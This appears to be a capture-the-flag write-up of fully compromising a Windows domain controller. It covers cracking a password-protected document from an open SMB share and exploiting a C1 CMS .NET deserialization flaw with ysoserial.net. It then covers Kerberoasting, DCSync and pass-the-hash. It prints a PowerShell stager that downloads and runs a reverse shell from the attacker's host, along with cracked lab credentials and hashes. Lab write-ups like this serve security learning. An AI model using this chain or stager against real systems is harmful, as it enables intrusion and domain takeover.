Challenge

A single Windows target to own end to end. This was the box the whole team converged on once the rest of the board was clear.

Recon

nmap showed a domain controller: DNS (Simple DNS Plus), Kerberos, LDAP, SMB (135/139/445), an IIS 10.0 web server on 80, and WinRM on 5985. The web server was C1 CMS Foundation, a .NET CMS.

Foothold: SMB → cracked doc → CMS creds

SMB allowed a null session, and the Employees share was world readable. It held a password protected Access.docx. We pulled the hash with office2john.py and cracked it with john against rockyou.txt:

$oldoffice$4*ee0a6060486f4bc4598976f37bef46cf*2495f1c0cf85733a3b53e51e96969819*e4c7e42c6c77ad9201a741d6861e8a35e50eeefb

The password was secreto. Inside the document were C1 CMS credentials: peter / C9HUZAQ6mht6Ax4r.

RCE: C1 CMS .NET deserialization

C1 CMS is vulnerable to CVE-2019-18211, a .NET deserialization bug reachable through the GetMultipleChildren SOAP method on /Composite/services/Tree/TreeServices.asmx. The EntityToken field is BinaryFormatter deserialized, so a ysoserial.net gadget lands code execution.

We generated a TypeConfuseDelegate payload and dropped it into the EntityToken:

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "<command>"

The command launched a PowerShell stager that pulled a reverse shell from our box:

cmd /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.4:1337/shell.ps1')

The fiddly part was the entity token wrapper. The server first rejected our token with “the entity token … is missing a public static Deserialize method” — the entityTokenType has to name a type whose deserializer feeds the payload into BinaryFormatter. Switching to Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter got the gadget to fire and the callback landed a shell as the domain user web.

This took many hours to figure out, and I hope for it to be a while before I have to go digging through .NET code for deserialization gadgets again.

Privilege escalation: Kerberoast to DCSync

From the web shell we ran SharpHound and loaded the data into BloodHound. The vulnerability was that user GFisher was Kerberoastable and, despite a weak password, held DCSync rights.

We Kerberoasted GFisher with Rubeus, cracked the TGS hash with hashcat to bucknell1, then used those creds to DCSync the domain with netexec and dump Administrator’s NTLM hash:

49bdc2aff4e2db3a33162ee3630dee81

A pass the hash login over WinRM (evil-winrm) as Administrator gave full control of the DC.

Flags

  • User: C:\Users\Public\user.txt
  • Root: C:\Users\Administrator\Desktop\root.txt

Notes

Another HackPack member on a different team for this CTF also solved fullpwn! Go check his writeup out, it was great!

https://1upbyte.com/posts/a1-full-pwn/